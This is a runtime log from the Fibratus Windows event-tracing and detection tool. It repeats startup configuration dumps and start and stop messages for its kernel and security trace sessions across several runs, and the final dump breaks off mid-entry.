elasticsearch=>[ trace-log=>false sniff=>false flush-period=>1s enabled=>false healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s healthcheck-interval=>10s template-name=>fibratus gzip-compression=>false bulk-workers=>1 index-name=>fibratus timeout=>5s] amqp=>[ url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false enabled=>false exchange=>fibratus passive=>false vhost=>/ delivery-mode=>transient exchange-type=>topic routing-key=>fibratus durable=>false] http=>[ tls-insecure-skip-verify=>false endpoints=>[] method=>POST timeout=>5s enabled=>false serializer=>json enable-gzip=>false]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-files=>false enabled=>false skip-mmaps=>false excluded-procs=>[] fastscan=>true skip-allocs=>false scan-timeout=>10s skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T19:05:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:05:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:05:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T19:05:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:05:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:10:35+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T19:10:35+01:00 level=info msg=bootstrapping with pid 15948. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T19:10:35+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true to=>[] content-type=>text/html port=>25] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-image=>true enable-thread=>true enable-dns=>false enable-registry=>true buffer-size=>512 max-buffers=>36 enable-handle=>false stack-enrichment=>true enable-vamap=>true enable-threadpool=>false flush-interval=>1s enable-net=>true enable-mem=>false enable-audit-api=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 max-age=>0 formatter=>text max-backups=>15 log-stdout=>true] + output ......................... [ elasticsearch=>[ gzip-compression=>false enabled=>false template-name=>fibratus sniff=>false healthcheck=>true index-name=>fibratus flush-period=>1s timeout=>5s servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck-timeout=>5s healthcheck-interval=>10s trace-log=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ tls-insecure-skip-verify=>false vhost=>/ url=>amqp://localhost:5672 exchange=>fibratus routing-key=>fibratus exchange-type=>topic timeout=>5s durable=>false passive=>false enabled=>false delivery-mode=>transient] http=>[ tls-insecure-skip-verify=>false enabled=>false serializer=>json enable-gzip=>false method=>POST timeout=>5s endpoints=>[]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Ppid }} + format=>pretty enabled=>true]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false skip-allocs=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true enabled=>false skip-files=>false excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T19:10:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:10:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:11:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T19:11:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:11:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:11:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T19:11:33+01:00 level=info msg=bootstrapping with pid 4156. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T19:11:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 to=>[] use-template=>true enabled=>false content-type=>text/html] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-thread=>true stack-enrichment=>true enable-dns=>false enable-audit-api=>true max-buffers=>36 enable-registry=>true enable-vamap=>true min-buffers=>16 flush-interval=>1s enable-image=>true enable-handle=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-mem=>false buffer-size=>512 enable-net=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 max-size=>100 level=>info max-age=>0 log-stdout=>true] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Ppid }} +] http=>[ serializer=>json enabled=>false endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s method=>POST] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ bulk-workers=>1 template-name=>fibratus timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false healthcheck=>true healthcheck-interval=>10s gzip-compression=>false flush-period=>1s healthcheck-timeout=>5s sniff=>false index-name=>fibratus trace-log=>false] amqp=>[ enabled=>false exchange-type=>topic exchange=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient durable=>false url=>amqp://localhost:5672 passive=>false timeout=>5s vhost=>/ routing-key=>fibratus]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-allocs=>false skip-files=>false scan-timeout=>10s excluded-procs=>[] skip-mmaps=>false enabled=>false skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-22T19:11:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:11:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:11:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T19:11:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:11:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:12:10+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T19:12:10+01:00 level=info msg=bootstrapping with pid 15596. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T19:12:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html port=>25 to=>[] enabled=>false use-template=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-registry=>true min-buffers=>16 enable-vamap=>true enable-image=>true enable-thread=>true flush-interval=>1s enable-net=>true enable-handle=>false max-buffers=>36 stack-enrichment=>true enable-audit-api=>true enable-fileio=>true buffer-size=>512 enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 log-stdout=>true formatter=>text level=>info max-backups=>15] + output ......................... [ elasticsearch=>[ healthcheck-timeout=>5s enabled=>false sniff=>false index-name=>fibratus flush-period=>1s template-name=>fibratus gzip-compression=>false healthcheck-interval=>10s timeout=>5s trace-log=>false healthcheck=>true bulk-workers=>1 servers=>[http://127.0.0.1:9200]] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Ppid }} + enabled=>true format=>pretty] http=>[ enabled=>false enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s serializer=>json method=>POST endpoints=>[]] amqp=>[ enabled=>false timeout=>5s exchange-type=>topic vhost=>/ exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus delivery-mode=>transient durable=>false url=>amqp://localhost:5672 passive=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false enabled=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true excluded-procs=>[] skip-allocs=>false skip-registry=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-22T19:12:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:12:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:13:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T19:13:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:13:23+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T19:13:23+01:00 level=info msg=bootstrapping with pid 8084. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T19:13:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] port=>25 content-type=>text/html use-template=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-thread=>true enable-dns=>false enable-threadpool=>false stack-enrichment=>true flush-interval=>1s enable-mem=>false enable-audit-api=>true max-buffers=>36 enable-vamap=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-handle=>false enable-net=>true enable-fileio=>true enable-registry=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 log-stdout=>true level=>info max-backups=>15 formatter=>text] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Ppid }} +] amqp=>[ url=>amqp://localhost:5672 routing-key=>fibratus enabled=>false vhost=>/ tls-insecure-skip-verify=>false timeout=>5s durable=>false exchange=>fibratus delivery-mode=>transient exchange-type=>topic passive=>false] http=>[ tls-insecure-skip-verify=>false serializer=>json enabled=>false enable-gzip=>false endpoints=>[] method=>POST timeout=>5s] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ gzip-compression=>false template-name=>fibratus flush-period=>1s healthcheck-interval=>10s enabled=>false index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s sniff=>false timeout=>5s trace-log=>false healthcheck=>true bulk-workers=>1]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-files=>false skip-allocs=>false enabled=>false excluded-files=>[] skip-registry=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T19:13:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:13:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:16:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T19:16:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:16:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:17:03+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T19:17:03+01:00 level=info msg=bootstrapping with pid 16572. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T19:17:03+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ port=>25 use-template=>true enabled=>false to=>[] content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false enable-vamap=>true enable-handle=>false enable-registry=>true min-buffers=>16 enable-thread=>true enable-net=>true flush-interval=>1s buffer-size=>512 enable-mem=>false enable-image=>true enable-audit-api=>true max-buffers=>36 enable-dns=>false stack-enrichment=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 max-backups=>15 formatter=>text level=>info log-stdout=>true] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ flush-period=>1s healthcheck-interval=>10s healthcheck=>true template-name=>fibratus servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck-timeout=>5s gzip-compression=>false trace-log=>false sniff=>false timeout=>5s enabled=>false index-name=>fibratus] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s serializer=>json method=>POST enabled=>false endpoints=>[]] amqp=>[ url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic delivery-mode=>transient enabled=>false routing-key=>fibratus tls-insecure-skip-verify=>false timeout=>5s durable=>false vhost=>/ passive=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Ppid }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-mmaps=>false scan-timeout=>10s excluded-files=>[] excluded-procs=>[] enabled=>false skip-registry=>false skip-allocs=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-22T19:17:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:17:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:21:51+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T19:21:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:21:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:22:19+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T19:22:19+01:00 level=info msg=bootstrapping with pid 18308. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T19:22:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ use-template=>true content-type=>text/html enabled=>false port=>25 to=>[]] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-registry=>true enable-vamap=>true enable-audit-api=>true enable-handle=>false flush-interval=>1s buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-mem=>false enable-threadpool=>false enable-thread=>true enable-dns=>false enable-image=>true min-buffers=>16 stack-enrichment=>true max-buffers=>36 enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text log-stdout=>true level=>info max-backups=>15 max-size=>100] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmdline }} + enabled=>true] eventlog=>[ level=>info enabled=>false] amqp=>[ routing-key=>fibratus passive=>false exchange=>fibratus delivery-mode=>transient vhost=>/ enabled=>false durable=>false url=>amqp://localhost:5672 exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s] http=>[ method=>POST endpoints=>[] enabled=>false timeout=>5s serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false] elasticsearch=>[ healthcheck=>true index-name=>fibratus sniff=>false template-name=>fibratus healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false timeout=>5s healthcheck-interval=>10s bulk-workers=>1 trace-log=>false gzip-compression=>false flush-period=>1s]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false scan-timeout=>10s excluded-files=>[] skip-files=>false enabled=>false excluded-procs=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T19:22:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:22:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:22:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:22:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:22:42+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T19:22:42+01:00 level=info msg=bootstrapping with pid 17440. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T19:22:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] port=>25 enabled=>false use-template=>true content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false buffer-size=>512 enable-thread=>true enable-net=>true min-buffers=>16 enable-image=>true max-buffers=>36 enable-vamap=>true flush-interval=>1s enable-registry=>true enable-fileio=>true enable-threadpool=>false enable-audit-api=>true enable-handle=>false enable-dns=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-age=>0 max-backups=>15 formatter=>text level=>info] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-interval=>10s healthcheck=>true timeout=>5s enabled=>false gzip-compression=>false bulk-workers=>1 healthcheck-timeout=>5s flush-period=>1s sniff=>false index-name=>fibratus trace-log=>false] http=>[ serializer=>json tls-insecure-skip-verify=>false method=>POST enabled=>false endpoints=>[] timeout=>5s enable-gzip=>false] amqp=>[ exchange=>fibratus routing-key=>fibratus timeout=>5s tls-insecure-skip-verify=>false enabled=>false url=>amqp://localhost:5672 vhost=>/ durable=>false exchange-type=>topic delivery-mode=>transient passive=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-files=>false enabled=>false skip-registry=>false scan-timeout=>10s fastscan=>true skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T19:22:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:22:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T19:27:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T19:27:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:27:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T19:28:10+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T19:28:10+01:00 level=info msg=bootstrapping with pid 19108. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T19:28:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] enabled=>false content-type=>text/html use-template=>true port=>25] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-handle=>false max-buffers=>36 stack-enrichment=>true min-buffers=>16 enable-audit-api=>true enable-vamap=>true enable-fileio=>true enable-thread=>true enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-mem=>false enable-threadpool=>false enable-registry=>true enable-dns=>false buffer-size=>512 flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text max-age=>0 max-size=>100 log-stdout=>true level=>info] + output ......................... [ elasticsearch=>[ template-name=>fibratus timeout=>5s servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck-interval=>10s enabled=>false index-name=>fibratus flush-period=>1s bulk-workers=>1 sniff=>false healthcheck-timeout=>5s healthcheck=>true gzip-compression=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + 